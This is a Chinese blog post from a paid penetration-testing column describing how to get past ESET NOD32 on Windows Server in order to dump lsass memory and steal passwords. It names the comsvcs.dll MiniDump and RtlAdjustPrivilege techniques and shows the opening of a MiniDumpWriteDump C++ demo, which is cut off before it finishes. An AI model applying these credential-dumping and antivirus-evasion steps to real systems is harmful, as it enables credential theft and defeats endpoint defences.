红队技巧：绕过ESET_NOD32抓取密码（ESET_NOD32是一款杀毒软件）

墨痕诉清风

已于 2022-08-25 11:06:39 修改

阅读量1.6k

点赞数

分类专栏：渗透常识研究文章标签： windows

于 2021-02-24 10:35:55 首次发布

本文链接：https://blog.csdn.net/u012206617/article/details/114012586

版权

渗透常识研究专栏收录该内容

208 篇文章 ¥29.90 ¥99.00

订阅专栏

本文探讨如何绕过ESET_NOD32 File Security for Windows Server的保护，针对MiniDumpWriteDump API被拦截的情况，提出使用comsvcs.dll的MiniDump功能来dump lsass进程，并通过RtlAdjustPrivilege实现权限提升，详细介绍了实施步骤和源代码位置。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

聊一聊绕过ESET_NOD32抓取密码的方法，这里的ESET_NOD32指的是ESET_NOD32 File Security For Microsoft windows server，测试版本如下：

为试用版本，并不影响我们的测试效果。目前很多的dump手法使用的是利用MiniDumpWriteDump这个API进行进程的内存dump，demo如下：

#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
using namespace std;

int main() {
  DWORD lsassPID = 0;
  HANDLE lsassHandle = NULL;
  HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE snapshot = Create

了解本专栏